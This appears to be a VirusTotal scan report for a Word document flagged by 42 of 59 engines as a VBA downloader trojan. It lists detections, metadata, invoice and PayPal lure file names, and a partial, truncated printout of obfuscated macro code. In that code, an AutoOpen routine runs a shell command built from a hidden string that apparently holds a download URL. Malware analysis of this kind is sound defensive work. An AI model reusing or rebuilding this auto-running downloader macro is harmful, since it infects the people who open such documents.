Antivirus scan for 60e0369e217e01371007b14a4b89de3db688abf1e424219146a924059b373844 at 2018-04-04 12:47:30 UTC

Antivirus	Result	Update
Ad-Aware	VB:Trojan.Valyria.1126	20180404
AegisLab	Vb.Troj.Downloader!c	20180404
AhnLab-V3	W97M/Downloader	20180404
ALYac	Trojan.Downloader.VBA.gen	20180404
Antiy-AVL	Trojan[Downloader]/MSOffice.Agent.fwd	20180404
Arcabit	VB:Trojan.Valyria.D466	20180404
Avast	Other:Malware-gen [Trj]	20180404
AVG	Other:Malware-gen [Trj]	20180404
Avira (no cloud)	W97M/Agent.4023031	20180404
AVware	Trojan.OLE.Generic.a (v)	20180404
Baidu	VBA.Trojan-Downloader.Agent.cjw	20180404
BitDefender	VB:Trojan.Valyria.1126	20180404
ClamAV	Doc.Macro.Obfuscation-6398752-1	20180404
Cyren	Trojan.ZXZY-	20180404
DrWeb	W97M.DownLoader.2340	20180404
Emsisoft	VB:Trojan.Valyria.1126 (B)	20180404
ESET-NOD32	VBA/TrojanDownloader.Agent.FWD	20180404
F-Prot	New or modified W97M/Valyria	20180404
F-Secure	VB:Trojan.Valyria.1126	20180404
Fortinet	VBA/Agent.FTD!tr	20180404
GData	VB:Trojan.Valyria.1126	20180404
Ikarus	Trojan-Downloader.VBA.Agent	20180404
K7AntiVirus	Trojan ( 0001140e1 )	20180404
K7GW	Trojan ( 0001140e1 )	20180404
Kaspersky	HEUR:Trojan-Downloader.Script.Generic	20180404
MAX	malware (ai score=99)	20180404
McAfee	W97M/Downloader.cke	20180404
McAfee-GW-Edition	W97M/Downloader.cke	20180404
Microsoft	TrojanDownloader:O97M/Donoff	20180404
eScan	VB:Trojan.Valyria.1126	20180404
NANO-Antivirus	Trojan.Script.ExpKit.ewdptp	20180404
Panda	O97M/Downloader	20180403
Qihoo-360	virus.office.qexvmc.1075	20180404
Rising	Downloader.Donoff!8.36C (TOPIS:Tbp0DafOiLT)	20180404
Symantec	W97M.Downloader	20180404
Tencent	Win32.Trojan-downloader.Agent.Isw	20180404
TrendMicro	W2KM_POWLOAD.AUJWH	20180404
TrendMicro-HouseCall	W2KM_POWLOAD.SMJSA	20180404
VIPRE	Trojan.OLE.Generic.a (v)	20180404
ViRobot	W97M.S.Downloader.216064.A	20180404
ZoneAlarm by Check Point	HEUR:Trojan-Downloader.Script.Generic	20180404
Zoner	Probably W97Obfuscated	20180403
Alibaba		20180404
Avast-Mobile		20180404
Bkav		20180404
CAT-QuickHeal		20180404
CMC		20180404
Comodo		20180404
CrowdStrike Falcon (ML)		20170201
Cybereason		None
Cylance		20180404
eGambit		20180404
Endgame		20180403
Sophos ML		20180121
Jiangmin		20180404
Kingsoft		20180404
Malwarebytes		20180404
nProtect		20180404
Palo Alto Networks (Known Signatures)		20180404
SentinelOne (Static ML)		20180225
Sophos AV		20180404
SUPERAntiSpyware		20180404
Symantec Mobile Insight		20180401
TheHacker		20180330
TotalDefense		20180404
Trustlook		20180404
VBA32		20180404
WhiteArmor		20180403
Yandex		20180403
Zillya		20180403

The file being studied follows the Compound Document File format! More specifically, it is a MS Word Document file.

Commonly abused properties

The studied file makes use of macros, a macro is a series of commands and instructions that you group together as a single command to accomplish a task automatically. Macros are often abused to perform malicious tasks when working with a document.

May try to run other files, shell commands or applications.

Seems to contain deobfuscation code.

Summary

creation_datetime

2017-12-13 21:39:00

revision_number

author

twrsjJFf

page_count

last_saved

2017-12-13 21:39:00

word_count

template

Normal.dotm

application_name

Microsoft Office Word

character_count

code_page

Latin I

Document summary

line_count

characters_with_spaces

version

1048576

paragraph_count

code_page

Latin I

OLE Streams

[+] Root Entry

[+] \x01CompObj

[+] \x05DocumentSummaryInformation

[+] \x05SummaryInformation

[+] Macros/VBA/QJrbvrzSUqNXR

[+] Macros/VBA/ThisDocument

[+] Macros/VBA/_VBA_PROJECT

[+] Macros/VBA/dir

[+] Macros/VBA/jpkIXOKJZhJ

[+] Macros/VBA/qcWWCncUbUDm

[+] WordDocument

Macros and VBA code streams

[+] qcWWCncUbUDm.bas Macros/VBA/qcWWCncUbUDm 16824 bytes

url-pattern obfuscated run-file

Sub AutoOpen()
vsUWNwsFYiGAzI = "jXkJZGO" + "zQPsofjpGQ" + "IQdowAQC" + "vwocoOUJTZWn" + "YWFzGEZptAkl" + "oGjoJJE" + "ZAbnDZLaVju" + "bsGiwuMcwB" + "EqoaNZfQNjEwWd" + "CfNOYTqN" + "vzApOwbjXE" + "zPwzAqPjoW"
kEosjOhdcOcPfO = "pCQHYbRGNn" + "QNhEJYCBPvAW" + "MwtcIUASj" + "ANQhwSSwbFz" + "UwYFEMiwdpjAuZ" + "pwsnOjmjqtrE" + "wzYQROizECQn" + "kwLhQnYjdAiSk" + "hPhMMIuBf" + "Pifvklvcz" + "wnVJdEfzTzq" + "jwwhWqDftiTvRh"
dwrEGSJV = "uXiIdvihaRBjwD" + "EZUjNUZsv" + "BAcskfWbCnzHvC" + "AlVAfYivczjwdI" + "UfnKbuGoql" + "HwPPwdSjMjE" + "QZWEztDhtScST" + "kaCuwfOAQi" + "MDDfuwqPnXl" + "qGvmEko" + "zwctrjRnZd" + "IoZmpABzW"
CjzwVMoAsJPb = "iQaJoNiCq" + "HdQQUGmC" + "ShuPiuWTdnhT" + "haqVOqNlsjMXpV" + "wUtFGiJ" + "oBwPRuAPJpI" + "qZwrwpzZwisoYQ" + "JtbMUXtCUS" + "vrsTDihZOWV" + "JRfkhFJ" + "qBXqWhcn" + "wXdYVuIhii"
VBA.Shell$ bFtqiDNoRwww, 0
GzBAnqSv = "nMwLLkuTBzWFu" + "SzsinXX" + "CbzAqzW" + "fOjwlka" + "NlzofhIDM" + "jBvLfYRkJVMKtv" + "wRHZvPhYaRCXiX" + "SvorPVHTjI" + "AbEFCrEsjPAi" + "jBcVucAjN" + "CRWBfarzYQOOG" + "UOKTpqGSQX"
NslZGIzn = "CofpYRoRcOBUv" + "AfRhtWhk" + "ztSiFYR" + "RbSRfiVu" + "BoqBVnSjlt" + "bERGSojvGjjtK" + "ktcrUww" + "VUsuwdGzzUfc" + "MJLzrCZnoSuf" + "ktprQwsojwOXpC" + "HjOOhZYjRrcuX" + "jBzODtNKHDiksc"
zbCzkjFEj = "WMJYznBVoDvQJm" + "bwbLfwjv" + "TQaumTazRQ" + "jDlIPjPEZRhS" + "qIjdsABpR" + "EjNGiVczwsFd" + "KTvwhcVElz" + "EdjwEQPq" + "RjYBZhizU" + "aKMlYKzBTNvi" + "lDCEmftic" + "NGiutZAtX"
End Sub
Function bFtqiDNoRwww()
fHuKBRzl = "cCdkRQMi" + "uDmImvbspJ" + "lbuBZnoflWi" + "wjSFjGBCqp" + "jLSkiIYR" + "vnWAIcLdbjw" + "LfpZTprmnHnwPK" + "GCKXMEEcJMSzH" + "XaJsMYjcLLThfq" + "zZkzmEaRJjvHC" + "MBsjrPhiEDm" + "irwDfYNo" + "nhAVpzIz"
BDzNRFLhn = "mVhLwzEaU" + "JMdMtXPGLEqT" + "iQAmUAOtkkzBj" + "hYEwZdosf" + "rOHPlvqYThw" + "wKjaFrZbdLNHhi" + "FQqzqlau" + "tzHoubi" + "QmatOwXwTDwjBz" + "DokHchIJXPdh" + "jlhCdOqv" + "NrSSDXid" + "EtREzKTFR"
VFhtFOOh = Mid("jJsR6FErg/QGiWd+iWdOtYb+tYb0E/,httptYb+tYbiWd+iWd://iWd+tYb+tYbiWdfixxoiWd+tYb+tYbiWdo.iWd+iWdintYb+tY [... continues ...]

[+] jpkIXOKJZhJ.bas Macros/VBA/jpkIXOKJZhJ 26645 bytes

Function kwsLTNCI()
XHQwjPccK = "QnLslsj" + "DwIociKivm" + "SwzlOcdr" + "nnuKHAq" + "AMAlmLEYWUWMT" + "hcLGGRBzPIAcj" + "BwhboRiil" + "jmvNrIGfkw" + "SwAuZqD" + "slKinXXmuYCKwr" + "aUVoFHBUriKjA" + "hOablskWHIqT" + "LGioHbIZZD"
wKKWFmTB = "NwIKGkfGJd" + "LmBfiTszzo" + "lsCuiPNLvjV" + "bPuUnRrM" + "UNWRPFk" + "qUmjhKQHLB" + "tzispfZPj" + "FiHbbRijcTJdnE" + "jYtEiMbP" + "TGmVhlpqAYl" + "iHGtlbjiGPJd" + "FHfLFmdTjHUf" + "wrdTcPTZ"
fjpwuNLWj = Mid("5jIWAE06awsCzhYC2FbipYTYm       JfTK", 26, 7)
TGlkFiWFcE = "zprQSwc" + "XFNJbiNwFENNw" + "lpOJtDIrHHLY" + "vBTDKfCwQwz" + "FucDVMqE" + "EBCJDZff" + "GwDFRwlAChvpVr" + "BnJfomvVT" + "rARuHGWQS" + "zEAcjRUJIIWiJ" + "HPQArLLcjnav" + "FvbZZDzRzn" + "wWRlNLuIrfnr"
jMlHufi = "szoYwwwMwu" + "pbjhKbDaC" + "fNwizOjVXYK" + "himDYAww" + "zwHpZDkzoZ" + "wvNlrpBj" + "qZWIctAuH" + "CbFIfPo" + "XLwYiwBQmUBLi" + "PjiZbzNfCpqlWi" + "mhVCzdYUSrXGM" + "jtvUDMYi" + "opfsIGhz"
GSzTS = "WYGjWUMCkwOOj" + "zfJUJcjBUuaP" + "tREpSDmCAw" + "ucaiOaCWj" + "wdhKdPFUELG" + "zTkjGwLu" + "ziqajBFnusD" + "vwoWfpojiwkM" + "fHuhTGLmwzuqj" + "NAhJTDXCXvJbGW" + "wBzimBuLF" + "mswwwtjwsaf" + "mRIPdjw"
smmiORDvMzh = Mid("Mdk42UGSwvTUVjw3dhEc6iavrpZ6I6Ddfbdj", 24, 4)
HLHwaUwiw = "TZAnfIlWqMM" + "EsBXWwvQTVSH" + "hNRkQNktvnm" + "sNmjhVLS" + "jziUlKlhIz" + "sMwvTlaz" + "oJEOQdjJjmA" + "pCzQnQiC" + "MmqfPjOqQvvMrk" + "sPDIbcAVzAD" + "AffUvwcb" + "OjBzUTQqEu" + "SXXYMWbXMQtfLV"
hWWNRR = "GjACrNkbToDMqt" + "SrmPRDEFj" + "oLRTaPqnjjR" + "iqjUrpEvDzk" + "ittNAuCaRWC" + "SHtYNZK" + "BpIwjwMO" + "nbrbmlj" + "cmlhqMMnhB" + "wfiimbdtkzhD" + "nYdvLbjVMDkm" + "bLcwIzvcSW" + "wEzIsvY"
KnQBUl = "LlbzPPIDi" + "CKGIkfsFFsc" + "GHZUEPFU" + "pbFHiPE" + "iKTtsKLUObl" + "ZGdlDiT" + "vKswJcNiBB" + "PnbXiJN" + "zOzqnUTij" + "TDAwijXRVjQwcT" + "WWNzivcqP" + "LvTEiqzikh" + "FSIszQoiwBljdR"
SQrJqV = Mid("DFJ1MK6ut3SwM8X5Ua90", 9, 1)
PFcnA = "jDuRjQcGUNkczr" + "zSQnphIFV" + "XwGbYdQ" + "pDVhttjjtaO" + "uIFqzpbIjNaz" + "PLRViwkTzH" + "sSZXHIoirnIPt" + "bjCIwbdXI" + "hOKOdiOzARz" + "PDAaZsGmGwY [... continues ...]

[+] QJrbvrzSUqNXR.bas Macros/VBA/QJrbvrzSUqNXR 38962 bytes

Function itVbURG()
uwjJp = "ROIDiLNrtCt" + "XoauzhTwRwHWfw" + "OHmsrCYzov" + "OHczRjwkYsifi" + "CDIUHlYmqwkG" + "BuwqlwGT" + "TSfXauXc" + "bEIpwQchKSc" + "dOKZvqZBz" + "cRrkppkLdOOT" + "CCLwiODo" + "qupEUziEwaiub" + "zNamzwpOCKFIX"
zXBEw = "hJkCPHur" + "rMBRIaWuXUZTX" + "awZzYBGDBd" + "lvvfBUco" + "qoXCCQO" + "dtIrKjJGpH" + "pioKYKXibP" + "zwfSjmZXzI" + "iZHUPaLlYLNHw" + "CdwrfmmIHt" + "MsAXhSKN" + "zODEuzS" + "qKmpjvjJafSVA"
pFidjlHMU = Mid("OwnwcncmwjCSlSzIMlzRbfGGVDaC", 7, 2)
icmLw = "urmtspazulVm" + "YQnlObKOiIcG" + "zcrfwLavKHooC" + "QAToQLRRwPZr" + "MVMiKnCrwFPn" + "LlOJzwMo" + "NPULvXjicFHiOa" + "YdBAuSuDAGzjCo" + "cfsSHwOwr" + "KTdJffzLQkV" + "MtbTLTEvrdpMcc" + "wTBKiJVkzQuU" + "CVmEuiTzqnl"
TqkbjIk = "nJOzwWbJ" + "fpbZoFAW" + "dzVQBzUCWnqMtE" + "uoAGoiWLHLfYJ" + "rzwiBMspXIQfv" + "oSzmkli" + "FthOGlOEVZKNfn" + "irrwFQsqIjWXoL" + "nXLruDwmGGbSmr" + "iVAYRuspZi" + "DZfjOZtc" + "mCntqmFlpdwG" + "nBBWPtzuilJhzW"
brnjhLDKdb = "uwmhiRjDtBsOaq" + "qJcDRwdtWrlR" + "JmFfQPkNiCUwNR" + "AcXiDzcpOkUw" + "CQqsAluHw" + "wKGXHGHE" + "hvstTHN" + "jwruwTSKSMcwbX" + "EQZTzZVjGf" + "PVKWWlmoN" + "ERCrnMpu" + "GcJVodtnQYL" + "kOfEzAvpq"
lZrpuSzo = Mid("BqS mKzJDKwBqAdVvI", 4, 1)
EaEvERUaD = "WrBZJFif" + "HiipHzvkGEmi" + "sKzdrEQdMrPz" + "zbZwtEVTP" + "PKnipYavkdpz" + "ZjNiPEurPrsCU" + "KKhINdck" + "DVaEmviUZ" + "kzPjZGPUqzTvjV" + "PkDUbVOpN" + "JozHvkWS" + "kLuiICw" + "mkzHpFrX"
HwOXwqCHnwN = "iZKNXbuFjjXAlm" + "SvjEzVaC" + "DCursBJ" + "JiGkhoivNCsmb" + "ivtiWwC" + "dHXKJVjCMi" + "iqGjZkHwJmS" + "PZzUwwNiLmmB" + "NXfNOLqJMtNbPT" + "OAtkLaHkJAiEzE" + "vEFhMNcku" + "cXCflsiiTPL" + "BqYFmVMjHqFwzJ"
YjkjWDDOUkG = "bAwdVKBV" + "RQNvPwdcl" + "UGuRdMc" + "NCTjIkj" + "VTaOAsIr" + "hvrVDiMToCFj" + "UQtGoTwiIdLG" + "JCWBbzDfvRk" + "KYHPThicmwKV" + "EpuDZSjPbUKznb" + "dDZzIWdv" + "TpvjdpKsBGWHI" + "WwEUiDzSfGW"
EucijwswBA = Mid("vqHClDbjNuwUSjAcPNImYHAPi  %jMJPEplDABlP", 26, 3)
CpqXkbiwpiw = "iHjmPwJiCF" + "XIzZfoD" + "DPIHbGY" + "TlSEhcWAX" + "dvvrHWAhzEhh" + "RuvGGZAF" + "qkpzjAXvlwB"  [... continues ...]

ExifTool file metadata

SharedDoc

Author

twrsjJFf

HyperlinksChanged

System

Windows

LinksUpToDate

HeadingPairs

Title, 1

Identification

Word 8.0

Template

Normal.dotm

CharCountWithSpaces

CreateDate

2017:12:13 20:39:00

Word97

LanguageCode

English (US)

CompObjUserType

Microsoft Word 97-2003 Document

ModifyDate

2017:12:13 20:39:00

Characters

CodePage

Windows Latin 1 (Western European)

RevisionNumber

MIMEType

application/msword

Words

FileType

DOC

Lines

AppVersion

16.0

Security

None

Software

Microsoft Office Word

TotalEditTime

Pages

ScaleCrop

CompObjUserTypeLen

FileTypeExtension

doc

Paragraphs

LastPrinted

0000:00:00 00:00:00

DocFlags

Has picture, 1Table, ExtChar

Compressed bundles

This file was also submitted to VirusTotal in the following compressed file bundles.

3fe614b4dfd6b51ef925025b2034c1bcb717b8c7bc7e61cb2b170693e01b7dad

9afb34fc8c3a48d4fe35caf815a85bbe5d98c24c97218fc4ef7b2287fd73ac21

File identification

MD5 0bca0cda3bdab716ee8012d4adb9f5b1

SHA1 8e745725c47ae8f6d7da6f590b90b13c473d3e91

SHA256 60e0369e217e01371007b14a4b89de3db688abf1e424219146a924059b373844

ssdeep

3072:c6W+rMDAjZYAQKQvGWR+WWXr+eRJ7FaDRE4Ir3iQMZS3l7OwG:prY5GWR+WK+GJ7FuREL+Vt

File size 211.0 KB ( 216064 bytes )

File type MS Word Document

Magic literal

CDF V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1252, Author: twrsjJFf, Template: Normal.dotm, Revision Number: 1, Name of Creating Application: Microsoft Office Word, Create Time/Date: Tue Dec 12 20:39:00 2017, Last Saved Time/Date: Tue Dec 12 20:39:00 2017, Number of Pages: 1, Number of Words: 1, Number of Characters: 11, Security: 0

TrID	Microsoft Word document (54.2%) Microsoft Word document (old ver.) (32.2%) Generic OLE2 / Multistream Compound File (13.5%)

VirusTotal metadata

First submission 2017-12-13 21:00:06 UTC ( 1 year, 2 months ago )

Last submission 2018-06-22 15:38:31 UTC ( 8 months ago )

File names

Outstanding Invoices.doc
Invoice# 1283904.doc
index.html.6
0bca0cda3bdab716ee8012d4adb9f5b12989a600_Trojan-Downloader.Script.Generic
Outstanding INVOICE JRM-884758-067.doc
Invoice_ 63908476.doc
Paypal #ATEVD727NFO4ZZI7.doc
Paypal #EPJS6HVBXQYNC2IEA.doc
Dokumente vom Notar #485163247.doc
INCORRECT INVOICE.doc
Invoice Number 45732.doc
Paypal #YEAHIG5I9L6WV2I1.doc
Order Confirmation.doc
Invoices Overdue.doc
index.html.98
Invoice.doc
Paypal
index.html.93
Invoice Number 492643.doc
DTBFL4-4057162472.doc
Final Account.doc
Untitled1.doc
Invoice# 06744589.doc
1023-8e745725c47ae8f6d7da6f590b90b13c473d3e91
Paypal #TF7UT6YJX670IP7.doc

SHA256:	60e0369e217e01371007b14a4b89de3db688abf1e424219146a924059b373844
File name:	index.html.93
Detection ratio:	42 / 59
Analysis date:	2018-04-04 12:47:30 UTC ( 10 months, 3 weeks ago ) View latest

Ciphered bundle

Commonly abused properties

Summary

Document summary

OLE Streams

Macros and VBA code streams

ExifTool file metadata

Compressed bundles

File identification

VirusTotal metadata

Leave your comment...

Recover your password

Join VirusTotal Community

Sign in